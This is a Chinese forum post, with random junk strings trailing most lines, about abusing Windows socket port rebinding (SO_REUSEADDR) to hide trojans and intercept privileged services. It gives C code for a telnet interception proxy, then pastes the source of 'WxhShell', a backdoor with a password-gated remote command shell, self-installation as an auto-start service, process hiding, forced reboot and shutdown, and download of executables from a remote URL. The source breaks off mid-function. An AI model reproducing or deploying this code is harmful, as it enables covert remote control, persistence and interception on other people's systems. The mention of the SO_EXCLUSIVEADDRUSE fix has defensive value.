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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5AR\'||u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $kJvPwRO  
~130"WQ;  
  saddr.sin_family = AF_INET; ([s}bD.9  
O qDLb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x+(h#+F  
u>H^bCXI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); De[!^/f;T  
,,oiL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Vw=eC"  
=^4 vz=2  
  这意味着什么?意味着可以进行如下的攻击: (F_Wys=6  
E9 {Gaa/{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6q?C"\_  
no+{9Uf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %;9f$:U  
!z X`M1J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eKpH|S!x U  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XU.ZYYZ=  
ghJ81  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o"t+G/M  
~=P&wBnJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j& f-yc'i-  
 m2%uGqz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "8VCXD  
x=yBB;&  
  #include PdJtJqA8h\  
  #include }:YS$'by  
  #include 4~4PZ  
  #include    Z~$=V:EA?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F<X)eO]tk  
  int main() UDV,co  
  { ]i\D*,FfU  
  WORD wVersionRequested; t/HMJ  
  DWORD ret; =0`"T!1  
  WSADATA wsaData; ]7v-qd  
  BOOL val; |)i- c`x  
  SOCKADDR_IN saddr; Y1txI  
  SOCKADDR_IN scaddr; gm9e-QIHK  
  int err; \?h +  
  SOCKET s; #B|`F?o  
  SOCKET sc; x;lIw)Ti  
  int caddsize; =)"60R7{  
  HANDLE mt; {FraM,w:  
  DWORD tid;   u&".kk  
  wVersionRequested = MAKEWORD( 2, 2 ); |vA3+kG  
  err = WSAStartup( wVersionRequested, &wsaData ); ~\}%6W[2  
  if ( err != 0 ) { S0 M-$  
  printf("error!WSAStartup failed!\n"); {<ymL}  
  return -1; nX<!n\J T  
  } n NZq`M  
  saddr.sin_family = AF_INET; Lie\3W  
   <WtX> \]l(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 25*/]i u  
S #%'Vrp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cC1nC76[  
  saddr.sin_port = htons(23); 8$-Wz:X&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MOP %vS   
  { P~iu|j  
  printf("error!socket failed!\n"); PX52a[wNDH  
  return -1; F4>}mIA  
  } Z<K[  
  val = TRUE; &G5+bUF,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )7c\wAs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J6_H lt  
  { 8vz9o <I  
  printf("error!setsockopt failed!\n"); $ w:QJ~,s  
  return -1; #z-6mRB  
  } S *?'y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aePhtQF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %JBp~"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3\|e8(bc  
}k7@ X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `;*%5WD%  
  { yPn5l/pDDr  
  ret=GetLastError(); %#2[3N{  
  printf("error!bind failed!\n"); J:)Q)MT24:  
  return -1; x "]%q^x  
  } 6cVaO@/(  
  listen(s,2); fyYT#r  
  while(1) c^}gJ  
  { cG6Q$  
  caddsize = sizeof(scaddr); 1$?O5.X:  
  //接受连接请求 5W>i'6*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yp wVzCUG  
  if(sc!=INVALID_SOCKET) A5z`_b4f  
  { K=M5d^K<E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g&O%qX-  
  if(mt==NULL) 5R?iTB1,  
  { l~AmHw e  
  printf("Thread Creat Failed!\n"); ,* ?bET $  
  break; k]`I 3>/L  
  } 7=u\D  
  } LR]P?  
  CloseHandle(mt); /@lXQM9 T  
  } ]zmY] 5  
  closesocket(s); G#@o6r  
  WSACleanup(); \evK.i*KfA  
  return 0; nORm7sa9  
  }   @G^]kDFM{  
  DWORD WINAPI ClientThread(LPVOID lpParam)  r75,mX  
  { {6~v oVkj  
  SOCKET ss = (SOCKET)lpParam; c_x6FoE;L  
  SOCKET sc; F'*y2FC  
  unsigned char buf[4096]; ;gTdiwfgZ=  
  SOCKADDR_IN saddr; <tMiI)0%  
  long num; #q9jFW8  
  DWORD val; zPWG^  
  DWORD ret; K SDo)7`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bk}.^m!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aRdk^|}  
  saddr.sin_family = AF_INET; #,Fk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Hc `<P  
  saddr.sin_port = htons(23); o?b$}Qrl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P-ys$=  
  { |s+[489g'6  
  printf("error!socket failed!\n"); 8k2prv^  
  return -1; zIf/jk  
  } FcdbL,}=<  
  val = 100; yDWzsA/X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NcZ6!wWdE  
  { (ST />")L  
  ret = GetLastError(); }?$d~]t)  
  return -1; .8uJ%'$)  
  } qS*qHT(u19  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9(QY~F  
  { W=&\d`><k  
  ret = GetLastError(); HtgVD~[]  
  return -1; 8TD:~ee  
  } P7&a~N$T6W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ms=x~o'  
  { $L)9'X   
  printf("error!socket connect failed!\n"); ]$Ky ZHj{  
  closesocket(sc); I?lQN$A.E  
  closesocket(ss); 320Wm)u>:  
  return -1; DhG2!'N  
  } -1Yt3M&  
  while(1) j0>S)Q  
  { 15 x~[?!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d2&sl(O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A 7'dD$9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J )oa:Q  
  num = recv(ss,buf,4096,0); 7C9qkQ Jqn  
  if(num>0) Yl% Ra1  
  send(sc,buf,num,0); )3=oS1p  
  else if(num==0) xqmP/1=NO  
  break; 3cBuqQ  
  num = recv(sc,buf,4096,0); AH;0=<n  
  if(num>0) rOm)s'  
  send(ss,buf,num,0); l"*qj#FD  
  else if(num==0) ;VSHXU'H  
  break; QY8I_VF  
  } k]u0US9/  
  closesocket(ss); sHm|&  
  closesocket(sc); *P5Xy@:  
  return 0 ; D06'"  
  } @C0{m7q  
((7~o?Vbg  
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========================================================== _&D I_'5q+  
^SpD)O{  
下边附上一个代码,,WXhSHELL WpP8J1KN[  
br .jj  
========================================================== _:x/\ 8P  
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#include "stdafx.h" sycN  
u3R0_8 _.w  
#include <stdio.h> 9IIQon  
#include <string.h> Vz1ro  
#include <windows.h> lj/ ?P9  
#include <winsock2.h> sOa`Tk  
#include <winsvc.h> #[ vmS  
#include <urlmon.h> r50}j  
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#pragma comment (lib, "Ws2_32.lib") @ eqVu g  
#pragma comment (lib, "urlmon.lib") Qf6]qJa|  
L)H7~.Dj  
#define MAX_USER   100 // 最大客户端连接数 x|<rt96 6A  
#define BUF_SOCK   200 // sock buffer /(8Usu?g.  
#define KEY_BUFF   255 // 输入 buffer ;+>-uPT/1  
T)6p,l  
#define REBOOT     0   // 重启 BEPeK  
#define SHUTDOWN   1   // 关机 ;Z-xum{  
\m1r(*Ar  
#define DEF_PORT   5000 // 监听端口 lsCD%P  
3Ew-Ia%A  
#define REG_LEN     16   // 注册表键长度 *>n<7T0  
#define SVC_LEN     80   // NT服务名长度 ~P 1(%FZ  
g05:A0X#  
// 从dll定义API ;JDn1(6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^*#5iT8/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [?r`8K2!,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?;i O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )TnxsFC  
 0$b)@  
// wxhshell配置信息 {-2I^Ym 5i  
struct WSCFG { 5rRYv~+  
  int ws_port;         // 监听端口 Tm-Nz7U^^  
  char ws_passstr[REG_LEN]; // 口令 h`-aO u  
  int ws_autoins;       // 安装标记, 1=yes 0=no C|5eV=f)P  
  char ws_regname[REG_LEN]; // 注册表键名 lsU|xOB  
  char ws_svcname[REG_LEN]; // 服务名 MLtfi{;LH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jY-{hW+r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6AKH0t|4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u3(zixb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q@6OIE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G4{ zt3{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zGHP{a1O7  
j!B+Q  
}; ;g?oU "YM  
JOS,>;;F4  
// default Wxhshell configuration |GM?4'2M.  
struct WSCFG wscfg={DEF_PORT, ><}FyK4C  
    "xuhuanlingzhe", &?f{.  
    1, cW4:eh  
    "Wxhshell", {"S"V  
    "Wxhshell", }OZ%U2PU  
            "WxhShell Service", OE]z C  
    "Wrsky Windows CmdShell Service", NVU@m+m~  
    "Please Input Your Password: ", 7pH(_-TF  
  1, |&`NB|  
  "http://www.wrsky.com/wxhshell.exe", }]$%aMxy T  
  "Wxhshell.exe" k(+ EY%  
    }; K??%Qh5l+C  
w{f!t8C*s  
// 消息定义模块 sXDS_Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V0q./NuO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8ME_O~,N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2~Z P[wr  
char *msg_ws_ext="\n\rExit."; FPE[}  
char *msg_ws_end="\n\rQuit."; YHAhF@&  
char *msg_ws_boot="\n\rReboot..."; 5+].$  
char *msg_ws_poff="\n\rShutdown..."; >&6pBtC_  
char *msg_ws_down="\n\rSave to "; lM`M70~  
=kH7   
char *msg_ws_err="\n\rErr!"; 3 GmU$w  
char *msg_ws_ok="\n\rOK!"; [g`9C!P-G  
X<dQq`kZ  
char ExeFile[MAX_PATH]; `CA-s  
int nUser = 0; ^\Tde*48  
HANDLE handles[MAX_USER]; De%WT:v  
int OsIsNt; `[3Iz$K=  
:0|]cHm  
SERVICE_STATUS       serviceStatus; 3`uv/O2~i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; secD ` ]  
_TfG-Ae  
// 函数声明 U\a.'K50F  
int Install(void); CG*eo!Nw  
int Uninstall(void); 3B!lE(r%J  
int DownloadFile(char *sURL, SOCKET wsh); Cx2s5vJX4p  
int Boot(int flag); {G&*\5W  
void HideProc(void); $"1Unu&P  
int GetOsVer(void); ~Mbo`:>(4v  
int Wxhshell(SOCKET wsl); =)5O(h  
void TalkWithClient(void *cs); 1wP#?p)c  
int CmdShell(SOCKET sock); h}r*   
int StartFromService(void); s\y+ xa:  
int StartWxhshell(LPSTR lpCmdLine); Z 6KM%R  
2 eo]D?}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R_ymTB}<t(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A]L;LkEM  
7ZarXv z  
// 数据结构和表定义 j hf%ze  
SERVICE_TABLE_ENTRY DispatchTable[] = H^z6.!$m  
{ JX8Hn |  
{wscfg.ws_svcname, NTServiceMain}, Zz}Wg@&  
{NULL, NULL} KI)jP((  
}; ATl.Qku@  
9Jd{HI=  
// 自我安装 BOClMeA4  
int Install(void) dZcRLLR  
{ \H|tc#::{  
  char svExeFile[MAX_PATH]; d/5i4g[q  
  HKEY key; l/0"'o_0v#  
  strcpy(svExeFile,ExeFile); x O?w8*d  
.RF ijr  
// 如果是win9x系统,修改注册表设为自启动 Gx /sJ(  
if(!OsIsNt) { {`?C5<r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *'4+kj7>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %EkV-%o*  
  RegCloseKey(key); =?g26>dYo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z-X(. Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CeQL8yJ;  
  RegCloseKey(key); {R<0 'JU  
  return 0; ziZLw$ )  
    } H8.Aq\2S  
  } J&Ig%&/  
} hG51jVYtw  
else { L c4\i  
YHBH9E/B  
// 如果是NT以上系统,安装为系统服务 j_H"m R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1AMxZ (e  
if (schSCManager!=0) 9RA~#S|(T  
{ QJiU"1  
  SC_HANDLE schService = CreateService Y3@\uM`2#  
  ( \GhL{Awv&a  
  schSCManager, 0'8_:|5  
  wscfg.ws_svcname, 4UwXrEQp  
  wscfg.ws_svcdisp, u~SvR~OE  
  SERVICE_ALL_ACCESS, Wy1#K)LRb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Ui*w%  
  SERVICE_AUTO_START, IxN0m7  
  SERVICE_ERROR_NORMAL, 7|Z=#3INw  
  svExeFile, _+Tq&,_:o  
  NULL, u&{}hv&FY  
  NULL, \AFoxi2h  
  NULL, s zBlyT  
  NULL, ~nYp*t C'  
  NULL Y'K+O  
  ); yKupPp);  
  if (schService!=0) pFE&`T@ <  
  { r\nKJdh;ka  
  CloseServiceHandle(schService); 1eQfc{[g  
  CloseServiceHandle(schSCManager); rXl ~D!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7|$cM7_r  
  strcat(svExeFile,wscfg.ws_svcname); #._%~}U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D<=x<.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R>Q&Ax  
  RegCloseKey(key); Ja1[vO"YgP  
  return 0; 8 KDF*%7'  
    } 'dJ#NT25  
  } Cg{V"B:  
  CloseServiceHandle(schSCManager); 9vIqGz-o  
} lO^Ly27  
} }/)vOUcEd  
^3~+|A98M  
return 1; 2"0q9Jg  
} }E[u" @}  
EFpV  
// 自我卸载 2cv!85  
int Uninstall(void) ~)J]`el,Q  
{ R(YhVW_l  
  HKEY key; |#_IAN  
j}P xq  
if(!OsIsNt) { ~V#MI@]V~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U|tUX)9O  
  RegDeleteValue(key,wscfg.ws_regname); aqL#g18  
  RegCloseKey(key); hd+(M[C<9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nE"##2X  
  RegDeleteValue(key,wscfg.ws_regname); ^d6}rtG  
  RegCloseKey(key); %{M_\Ae#  
  return 0; b!(ew`Y;  
  } )9F o  
} o>Fc.$ngZ  
} Z8vMVo  
else { Ug :3)q[O  
jhRg47A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U(xN}Y ?  
if (schSCManager!=0) RLy2d'DS  
{ 0}LB nV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q47>RWMh%  
  if (schService!=0) !4;A"B(  
  { 6t zUp/O  
  if(DeleteService(schService)!=0) { 8bf_W3  
  CloseServiceHandle(schService); eXs^YPi  
  CloseServiceHandle(schSCManager); _:N+mEF  
  return 0; T"h@-UcTl  
  } pr~%%fCh  
  CloseServiceHandle(schService); kHWW\?O  
  } 2EO WbN}M  
  CloseServiceHandle(schSCManager); O_v8R7 {  
} x}^ :Bs+j  
} IBP3  
pFB^l|\ ]  
return 1; cy_'QS$W   
} j 3/ I =  
s&Bk@a8  
// 从指定url下载文件 ^nO0/nqz]  
int DownloadFile(char *sURL, SOCKET wsh) xi+bBqg<.K  
{ ;)n kY6-  
  HRESULT hr; X667*L^  
char seps[]= "/"; bQ%6z}r  
char *token; ig-V^P  
char *file; `(- nSQ  
char myURL[MAX_PATH]; Np2I*l6W  
char myFILE[MAX_PATH]; ,Yp+&&p.  
u& 4i=K'x8  
strcpy(myURL,sURL); vJ +sdG  
  token=strtok(myURL,seps); c+BD37S  
  while(token!=NULL) L3N ?^^]  
  { ^l,(~03_  
    file=token; VL =19[  
  token=strtok(NULL,seps); 3t4i2]  
  } EWb'#+BP  
k<&zVV '  
GetCurrentDirectory(MAX_PATH,myFILE); XY_hTHJ  
strcat(myFILE, "\\"); <w,NMu"  
strcat(myFILE, file); dnwTD\),  
  send(wsh,myFILE,strlen(myFILE),0); Etj0k} A  
send(wsh,"...",3,0); j ."L=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {th=MldJ?  
  if(hr==S_OK) pA%}CmrMq  
return 0; Ru&>8Ln0  
else DPWt=IFU  
return 1; eq" eLk6h  
@~=*W5  
} *\-$.w)k  
CI#6 r8u  
// 系统电源模块 JJQS7,vG  
int Boot(int flag) QLPb5{>KDS  
{ _YK66cS3E/  
  HANDLE hToken; ~vbyX  
  TOKEN_PRIVILEGES tkp; 9 HiH6f^5  
{+3 `{34e  
  if(OsIsNt) { h]+UK14m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *jf%Wj)0M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '9ki~jtf=  
    tkp.PrivilegeCount = 1; a<NZC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W>E/LBpE4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \4`:~c  
if(flag==REBOOT) { K]{x0A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @%^JB  
  return 0; #NyfE|MKBC  
} DXa!"ZU  
else { iJ&jg`"=F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P Nf_{4  
  return 0; OGR2Y  
} g7UZtpLTm  
  } 4\_~B{kzZ  
  else { k4E2OyCFoJ  
if(flag==REBOOT) { WR.>?IG2E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >iV2>o_  
  return 0; +QW| 8b  
} mG*ER^Y@D  
else { ez-jVi-Fi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q\$k'(k>35  
  return 0; {i^F4A@=Z  
} $eq*@5B  
} c:[8ng 2v  
R<<U(.E  
return 1; e0$.|+  
} 5r` x\  
6uTFgSqZ  
// win9x进程隐藏模块 Bjp4:;Bb  
void HideProc(void) `DFo:w!k  
{ 5%jy7)8C  
n~Yr`5+Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z}AhDIw!G  
  if ( hKernel != NULL ) <r1/& RW,  
  { c;B:o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FokSg[)5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T!jMh-8  
    FreeLibrary(hKernel); 3sK^ (  
  } dFl8'D  
uqsVq0H  
return; P!yOA_)as  
} R*`=Bk0+  
W9G1wU  
// 获取操作系统版本 jX; $g>P  
int GetOsVer(void) 4c]=kbGW  
{ ( }RJW:  
  OSVERSIONINFO winfo; 1wg#4h43l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u- }@^Y$M  
  GetVersionEx(&winfo); B fu/w   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VvUP;o&/  
  return 1; eyzXHS*s;L  
  else W,5_i7vr  
  return 0;  X@Bg_9\i  
} m7|S'{+!  
+Ym#!"  
// 客户端句柄模块 E*vh<C  
int Wxhshell(SOCKET wsl) |%g)H,6c  
{ ]Om;bmwt  
  SOCKET wsh; DP.Y <V)B  
  struct sockaddr_in client; ^ AJ_  
  DWORD myID; +7 mUX  
A D%9;KQ8  
  while(nUser<MAX_USER) v hGX&   
{ UZ;FrQ(l{  
  int nSize=sizeof(client); z^o7&\:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tPb<*{eG  
  if(wsh==INVALID_SOCKET) return 1; %w;wQ_  
j%)@f0Ng  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yTR5*{?j  
if(handles[nUser]==0) o&)v{q  
  closesocket(wsh); '[vC C'  
else ~[Z(6yX  
  nUser++; jSQM3+`b  
  } GQ0(lS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =bOMtQ]  
13p.dp`  
  return 0; 8K9RA<  
} Ww0dU_  
=>- W!Of  
// 关闭 socket }p>l,HD  
void CloseIt(SOCKET wsh) s[;1?+EI  
{ G2dPm}sZG  
closesocket(wsh); nH}V:C  
nUser--; (7C$'T-ZK  
ExitThread(0); i 2 ='>  
} p+;;01Z+_  
5Y>fVq{U?;  
// 客户端请求句柄 b(~#CHg  
void TalkWithClient(void *cs) -HvJ&O.V$  
{ Zm vtUma  
DFQ`<r&!  
  SOCKET wsh=(SOCKET)cs; &-L9ws  
  char pwd[SVC_LEN]; }vd72P B  
  char cmd[KEY_BUFF]; pQoZDD@B$  
char chr[1]; RREl($$p  
int i,j; zbJ}@V  
T>irW(  
  while (nUser < MAX_USER) { cv_t2m  
: cPV08i  
if(wscfg.ws_passstr) { W/.n R[!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I2gSgv%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J4Ca0Ag  
  //ZeroMemory(pwd,KEY_BUFF);  ]l}bk]  
      i=0; wlDo(]mj=O  
  while(i<SVC_LEN) { 8:U0M'}u>  
epI~w  
  // 设置超时 oQR?H  
  fd_set FdRead; t!59upbN}3  
  struct timeval TimeOut; .Ms$)1  
  FD_ZERO(&FdRead); R@KWiV  
  FD_SET(wsh,&FdRead); w{riXOjS4  
  TimeOut.tv_sec=8; 24*3m&fA*K  
  TimeOut.tv_usec=0; t$PJ*F67M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (ZP e{;L.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1U(!%},  
p.5 *`, )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _6->D[dB  
  pwd=chr[0]; ]} pAZd  
  if(chr[0]==0xd || chr[0]==0xa) { *, R ~[g  
  pwd=0; ]YY4{E(9d  
  break; r-Oz k$  
  } w+{{4<+cd  
  i++; e 8^%}\F  
    } .*?)L3n+t  
]dT]25V  
  // 如果是非法用户,关闭 socket (`<B#D;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); orFB*{/Z  
} Z ZT2c0AK  
Ch]q:o4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); = gcZRoL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F.D6O[pZ  
}OSfC~5P  
while(1) { G+WCE*  
/U>8vV+C  
  ZeroMemory(cmd,KEY_BUFF); t&-c?&FO\;  
fO83 7  
      // 自动支持客户端 telnet标准   z=4E#y `?U  
  j=0; \}Kad\)  
  while(j<KEY_BUFF) { N@"e^i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r<;Y4<,BZ  
  cmd[j]=chr[0]; F#o{/u?T  
  if(chr[0]==0xa || chr[0]==0xd) { <)+;Bg  
  cmd[j]=0; (kx>\FIK*  
  break; f5R%F ~  
  } &VxK AQMxN  
  j++; 2|`~3B)#  
    } crJNTEz  
:(I=z6  
  // 下载文件 NJKk\RM@7  
  if(strstr(cmd,"http://")) { y*8;T v|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eTt{wn;6  
  if(DownloadFile(cmd,wsh)) 5;[0Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[ D6|gp  
  else R=W$3Ue~,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w$749jGx  
  } #Z]<E6<=9  
  else { vIFx'S~D  
3ep L'My$  
    switch(cmd[0]) { Koz0Xy  
  ktv{-WG2_  
  // 帮助 fVZ_*'v  
  case '?': { >Lz2zlZI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pe+m%;nzR  
    break; 72y!cK6  
  } aX~' gq>  
  // 安装 efh1-3f  
  case 'i': { %Jn5M(myC  
    if(Install()) d_98%U+u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5hB2:$C  
    else DE?@8k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =OR&,xt  
    break; 7.C]ZcU  
    } ^Cg@'R9  
  // 卸载 N mN:x&/  
  case 'r': { Fh)YNW@  
    if(Uninstall()) ,=P0rbtK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q?%v b  
    else + >v{#A_u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E eCgV{9B  
    break; @T-}\AU  
    } ^N~Jm&I  
  // 显示 wxhshell 所在路径 :wJ!rn,4  
  case 'p': { SHC VjI6  
    char svExeFile[MAX_PATH]; T f^O(  
    strcpy(svExeFile,"\n\r"); .gI9jRdKw  
      strcat(svExeFile,ExeFile); UKSI"/8I  
        send(wsh,svExeFile,strlen(svExeFile),0); c:}K(yAdd  
    break; y)Lyo'`  
    } ,]?l(H $x'  
  // 重启 ? oGmGKq  
  case 'b': { EtB56FU\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sq 2yQSd  
    if(Boot(REBOOT)) iainl@3Qj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (yz8}L3  
    else { L^nS%lm  
    closesocket(wsh); Xg97[I8/  
    ExitThread(0); < YuI}d~'  
    } !?)iP  
    break; W/;qMP1"-  
    } "( ?[$R  
  // 关机 .]Z,O>N  
  case 'd': { $E@ke:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o6 [i0S  
    if(Boot(SHUTDOWN)) # /pZ#ny  
